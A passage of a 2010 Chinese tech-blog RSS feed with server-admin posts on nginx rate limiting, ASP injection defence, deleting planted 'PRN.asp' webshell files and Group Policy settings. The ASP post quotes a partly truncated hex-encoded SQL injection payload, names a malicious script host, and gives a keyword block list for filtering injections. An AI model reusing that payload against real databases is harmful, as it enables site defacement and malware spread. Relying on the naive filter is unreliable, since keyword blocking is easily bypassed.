    </span><a href="http://wiki.nginx.org/NginxHttpRewriteModule#set"><span>set</span></a><span> $limit_rate  4k;
  }
}</span></pre>
<p><span>You can also control the rate of individual responses returned by a <code><span style="font-family: 新宋体;">proxy_pass</span></code> response (</span><a title="NginxHttpProxyModule" href="http://wiki.nginx.org/NginxHttpProxyModule"><span>NginxHttpProxyModule</span></a><span>) by setting the <code><span style="font-family: 新宋体;">X-Accel-Limit-Rate</span></code> header (</span><a title="NginxXSendfile" href="http://wiki.nginx.org/NginxXSendfile"><span>NginxXSendfile</span></a><span>). This can be done without a <code><span style="font-family: 新宋体;">X-Accel-Redirect</span></code> header. </span></p>
<p>发现 limit_rate的适应范围 <span><strong>context:</strong> <em><strong><span style="color: #ff0000;">http, server, location, if in location</span></strong></em> </span></p>
<p><span>其中是包括Location的。于是在Windows的环境设置</span></p>
<p><span><span style="color: #666666;"> location ~\.flv$ {<br />
flv;<br />
limit_rate 2k;<br />
}</span> </span></p>
<p><span>但发现依然不能正常限速，再试过另一种方式 ，直接用IP访问而不通过localhost或127.0.0.1访问。会不会因为回路网络（好像是这个名字）无法在程序中限制速度（netlimiter可以）。果然出现</span></p>
<p><span><span style="color: #666666;">$ wget </span><a href="http://192.168.1.13/input.flv"><span style="color: #666666;">http://192.168.1.13/input.flv</span></a><br />
<span style="color: #666666;">&#8211;2010-01-31 12:54:42&#8211; </span><a href="http://192.168.1.13/input.flv"><span style="color: #666666;">http://192.168.1.13/input.flv</span></a><br />
<span style="color: #666666;">Connecting to 192.168.1.13:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 69235224 (66M) [video/x-flv]<br />
Saving to: `input.flv.2&#8242;</span></span></p>
<p><span style="color: #666666;">0% [                                       ] 10,017      1.98K/s eta 9h 30m</span></p>
<p><span>看来是真的限制速度了。</span></p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html" title="图片轮换类，IE7、OP、FF、Chrome测试通过">图片轮换类，IE7、OP、FF、Chrome测试通过</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年11月12日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/documentbodyscrolltop%E4%B8%BA0.html" title="document.body.scrollTop为0">document.body.scrollTop为0</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php5" title="php5" rel="tag">php5</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/nginxxiansu.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP防注入新方式，希望对大家是有用的</title>
		<link>http://www.5bay.cn/server-building/aspeaojie.html</link>
		<comments>http://www.5bay.cn/server-building/aspeaojie.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 02:00:27 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[ASP]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[防注入]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=527</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aspeaojie.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。 首先先告诉大家一个批量清除代码的sql语句。 update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.js&#62; 1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。 通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。 %%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码 首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。 通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。 ;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211; 就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。 2、所以我们的原来的防sql注入的字符串就需要升级了。 如果过滤16进制 ; 对应 3B DeCLaRE 对应 4465434C615245 @ 对应 40 NvArCHaR 对应 4E76417243486152 set 对应 536554 CaSt 对应 43615374 as 对应 6153 exec 对应 45784563 - 对应 2D 把16进制的代码用&#124;隔开放到injdata 里面 injdata = [...]]]></description>
			<content:encoded><![CDATA[<p>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。</p>
<p>首先先告诉大家一个批量清除代码的sql语句。</p>
<p>update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.<a href="http://www.5bay.cn/tag/js" class="st_tag internal_tag" rel="tag" title="标签 js 下的日志">js</a>&gt;<br />
1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。</p>
<p>通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。</p>
<p>%%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码</p>
<p>首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。</p>
<p>通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。</p>
<p>;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211;</p>
<p>就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。</p>
<p>2、所以我们的原来的防sql注入的字符串就需要升级了。</p>
<p>如果过滤16进制</p>
<p>; 对应 3B</p>
<p>DeCLaRE 对应 4465434C615245</p>
<p>@ 对应 40</p>
<p>NvArCHaR 对应 4E76417243486152</p>
<p>set 对应 536554</p>
<p>CaSt 对应 43615374</p>
<p>as 对应 6153</p>
<p>exec 对应 45784563</p>
<p>- 对应 2D</p>
<p>把16进制的代码用|隔开放到injdata 里面</p>
<p>injdata = “3B|2D|&#8217;|;|and|exec|insert|select|delete%20from|update|count|”</p>
<p>然后自己测试下，程序是否拦击了这些16进制的代码，本人测试过是可以拦击的，如果不加入这些是不拦击的</p>
<p>照样可以注入到数据库。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/asp" title="ASP" rel="tag">ASP</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%98%B2%E6%B3%A8%E5%85%A5" title="防注入" rel="tag">防注入</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/aspeaojie.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何删除删不掉的”PRN.asp:.jpg”</title>
		<link>http://www.5bay.cn/server-building/eeprn-asp-jpg.html</link>
		<comments>http://www.5bay.cn/server-building/eeprn-asp-jpg.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:59:36 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[ASP]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=525</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeprn-asp-jpg.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一个用户的网站被挂马 很多以prn.开头的文件&#8230;这个文件其实是windows禁止建立的..但是可以在dos建立 所以在dos下用更改属性 结果不让改 然后想恢复权限 不让恢复 ，网站的跟目录被加了几个文件，怎么删也删不掉， prn.gupiao.asp prn.liuhe.asp com1.shouji.asp 或是COM2，COM8等文件主，   第一步：打开工具&#62;文件夹选项&#62;查看&#62;有一项为”隐藏受保护的操作系统文件(推荐)”,去掉其前边的钩,选中”显示所有文件和文件夹” 第二步：建立一个del.bat的文件 把以下代码黏贴进去&#8230; DEL /F /A /Q \\?\%1 RD /S /Q \\?\%1 然后要删那个文件就把那个文件拖进去即可&#8230;. 但是又遇到问题了&#8230;有一个顽固的&#8230;PRN.asp;.jpg 拖进去也删不掉&#8230;. 不过没问题 这个也可以删&#8230;先把这个文件的文件夹里的其他的文件备份&#8230; 然后把文件夹拖过去&#8230;^_^ 删了吧&#8230; 然后把备份的文件 拷回去 ok了 相关博文2010年05月23日 -- Rsync详解 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年05月23日 -- mysql优化及全文搜索 (0)2011年06月29日 -- Android在线开发工具 App Inventor (0)2011年06月29日 -- 开源软件的盈利模式 (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p>一个用户的网站被挂马 很多以prn.开头的文件&#8230;这个文件其实是windows禁止建立的..但是可以在dos建立</p>
<p>所以在dos下用更改属性 结果不让改</p>
<p>然后想恢复权限 不让恢复 ，网站的跟目录被加了几个文件，怎么删也删不掉，</p>
<p>prn.gupiao.<a href="http://www.5bay.cn/tag/asp" class="st_tag internal_tag" rel="tag" title="标签 ASP 下的日志">asp</a></p>
<p>prn.liuhe.asp</p>
<p>com1.shouji.asp</p>
<p>或是COM2，COM8等文件主，  </p>
<p>第一步：打开工具&gt;文件夹选项&gt;查看&gt;有一项为”隐藏受保护的操作系统文件(推荐)”,去掉其前边的钩,选中”显示所有文件和文件夹”</p>
<p>第二步：建立一个del.bat的文件 把以下代码黏贴进去&#8230;</p>
<p>DEL /F /A /Q \\?\%1</p>
<p>RD /S /Q \\?\%1<br />
然后要删那个文件就把那个文件拖进去即可&#8230;.</p>
<p>但是又遇到问题了&#8230;有一个顽固的&#8230;PRN.asp;.jpg 拖进去也删不掉&#8230;.</p>
<p>不过没问题 这个也可以删&#8230;先把这个文件的文件夹里的其他的文件备份&#8230;</p>
<p>然后把文件夹拖过去&#8230;^_^ 删了吧&#8230;</p>
<p>然后把备份的文件 拷回去 ok了</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/androidzaixiankaifagongjuappinventor.html" title="Android在线开发工具 App Inventor">Android在线开发工具 App Inventor</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E6%95%B0%E5%80%BC%E5%85%AC%E5%BC%8F%E7%9A%84%E8%A1%A8%E8%B1%A1%E4%B8%8E%E6%9C%AC%E8%B4%A8.html" title="游戏数值公式的表象与本质">游戏数值公式的表象与本质</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeee389.html" title="无需输入密码登陆3389">无需输入密码登陆3389</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/asp" title="ASP" rel="tag">ASP</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" title="操作系统" rel="tag">操作系统</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/%E9%9A%90%E8%97%8F" title="隐藏" rel="tag">隐藏</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeprn-asp-jpg.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>防止网卡被禁用的具体配置方法</title>
		<link>http://www.5bay.cn/server-building/eeeeeeee-2.html</link>
		<comments>http://www.5bay.cn/server-building/eeeeeeee-2.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:58:21 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[模板]]></category>
		<category><![CDATA[策略]]></category>
		<category><![CDATA[组件]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=523</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeeeeee-2.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>防止网卡被意外禁用，这个对大家可能没有多大的用途，但如果你有服务器托管在外面，那可就有用了，如果你那天不小心点到了“禁用”，呵呵，那后果我就不用说了吧，你的服务器马上就跟你说拜拜了，而且必须进入机房去重新启用网卡才可以（我就碰到了这样的倒霉事啊）。 闲话不多说，下面说重点： 实现的方法，用组策略来实现。 　　步骤： 　　1、运行——》gpedit.msc 　　2、导航至：用户配置——》管理模板——》网络——》网络连接 　　3.1、找到“禁止启用/禁用 LAN 连接的组件”，设置为“已启用” 　　3.2、找到“启用/禁用 LAN 连接的能力”，设置为“已禁用” 　　3.3、找到“为管理员启用 Windows 2000 网络连接设置”，设置为“已启用” 　　4、运行——》gpupdate /force 　　你现在检查一下本地连接的属性，“禁用”按钮已经变成灰色的不可用状态，这下你再也不用担心意外点中，让你的服务器跟你说拜拜了。 相关博文2011年06月29日 -- Android在线开发工具 App Inventor (0)2010年07月26日 -- Ajax的工作原理 (1)2010年05月23日 -- Rsync详解 (0)2011年06月29日 -- 网上整理的android权限大全 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月28日 -- 无需输入密码登陆3389 (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>防止网卡被意外禁用，这个对大家可能没有多大的用途，但如果你有服务器托管在外面，那可就有用了，如果你那天不小心点到了“禁用”，呵呵，那后果我就不用说了吧，你的服务器马上就跟你说拜拜了，而且必须进入机房去重新启用网卡才可以（我就碰到了这样的倒霉事啊）。</p>
<p>闲话不多说，下面说重点：</p>
<p>实现的方法，用组策略来实现。</p>
<p>　　步骤：</p>
<p>　　1、运行——》gpedit.msc</p>
<p>　　2、导航至：用户配置——》管理模板——》网络——》网络连接</p>
<p>　　3.1、找到“禁止启用/禁用 LAN 连接的组件”，设置为“已启用”</p>
<p>　　3.2、找到“启用/禁用 LAN 连接的能力”，设置为“已禁用”</p>
<p>　　3.3、找到“为管理员启用 Windows 2000 网络连接设置”，设置为“已启用”</p>
<p>　　4、运行——》gpupdate /force</p>
<p>　　你现在检查一下本地连接的属性，“禁用”按钮已经变成灰色的不可用状态，这下你再也不用担心意外点中，让你的服务器跟你说拜拜了。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/androidzaixiankaifagongjuappinventor.html" title="Android在线开发工具 App Inventor">Android在线开发工具 App Inventor</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/wangshangzhenglideandroidquanxiandaquan.html" title="网上整理的android权限大全">网上整理的android权限大全</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeee389.html" title="无需输入密码登陆3389">无需输入密码登陆3389</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%A8%A1%E6%9D%BF" title="模板" rel="tag">模板</a>, <a href="http://www.5bay.cn/tag/%E7%AD%96%E7%95%A5" title="策略" rel="tag">策略</a>, <a href="http://www.5bay.cn/tag/%E7%BB%84%E4%BB%B6" title="组件" rel="tag">组件</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeeeeee-2.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>通过注册表彻底删除guest等账户</title>
		<link>http://www.5bay.cn/server-building/eeeuestee.html</link>
		<comments>http://www.5bay.cn/server-building/eeeuestee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:57:37 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[诫]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=521</guid>
